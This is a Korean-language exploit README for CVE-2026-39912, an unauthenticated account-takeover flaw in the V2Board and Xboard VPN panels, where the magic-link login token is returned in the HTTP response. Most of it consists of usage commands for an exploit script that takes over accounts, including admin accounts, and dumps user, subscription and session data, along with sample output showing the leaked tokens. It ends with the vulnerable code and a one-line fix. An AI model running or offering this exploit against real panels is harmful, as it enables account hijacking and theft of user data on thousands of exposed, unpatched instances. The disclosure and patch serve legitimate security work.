
Xboard / V2Board 비인가 계정 탈취 - 매직 링크 토큰 유출 (CVE-2026-39912)
loginWithMailLink에서 매직 링크 토큰 유출
| CVE | CVE-2026-39912 |
| CVSS | 9.1 (Critical) |
| CWE | CWE-201 (Insertion of Sensitive Information Into Sent Data) |
| 영향 | V2Board >= 1.6.1 ~ 1.7.4 / Xboard 모든 버전 0.1.9+ 이하 |
| 수정 | 아직 안 됨 (V2Board 2023년 6월 이후 중단됨) |
| 공개일 | 2026-04-09 |
| 발견자 | Valentin Lobstein (Chocapikk) |
| 상세 분석 | chocapikk.com |
| 수정 PR | V2Board #981 / Xboard #873 |
loginWithMailLink 엔드포인트가 매직 로그인 링크를 이메일로만 보내지 않고 HTTP 응답 본문에 직접 반환합니다. 등록된 이메일을 아는 인증되지 않은 공격자는 두 번의 HTTP 요청으로 관리자를 포함한 모든 계정을 탈취할 수 있습니다.
둘 다 주로 중국에서 널리 배포된 VPN/프록시 패널입니다. ZoomEye에 따르면 인터넷에 7,000개 이상의 인스턴스가 노출되어 있습니다.
login_with_mail_link_enable이 관리자 설정에서 활성화되어 있어야 함 (기본적으로 활성화되지 않음)# 의존성 설치
pip install requests
# 계정 탈취 + 데이터 덤프
python3 exploit.py http://target:7001 [email protected]
# 덤프를 파일로 저장
python3 exploit.py http://target:7001 [email protected] -o dump.json
$ python3 exploit.py http://target:7001 [email protected]
Xboard / V2Board - 인증되지 않은 계정 탈취
매직 링크 토큰 유출 (CVE-2026-39912) | by Choc
V2Board >= 1.6.1 | Xboard <= 0.1.9+
git clone부터 is_admin: true까지 45분
[INFO] [email protected]에 대한 매직 링크 요청 중
[INFO] 유출됨: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] 인증됨 (admin=True)
[INFO] 사용자 정보: OK
[INFO] 구독: OK
[INFO] 활성 세션: OK
[INFO] 통계: OK
{
"auth": {
"auth_data": "Bearer qCU2d9hS...",
"is_admin": true
},
"dump": {
"User Info": {
"email": "[email protected]",
"uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
...
},
"Subscription": {
"subscribe_url": "http://target:7001/s/324396af...",
...
},
"Active Sessions": [ ... ]
}
}
V2Board (app/Http/Controllers/Passport/AuthController.php):
SendEmailJob::dispatch([...]);
return response([
'data' => $link // 호출자에게 토큰 유출됨
]);
Xboard (app/Services/Auth/MailLinkService.php):
$this->sendMailLinkEmail($user, $link);
return [true, $link]; // 포크에서 상속된 동일한 버그
- return [true, $link];
+ return [true, true];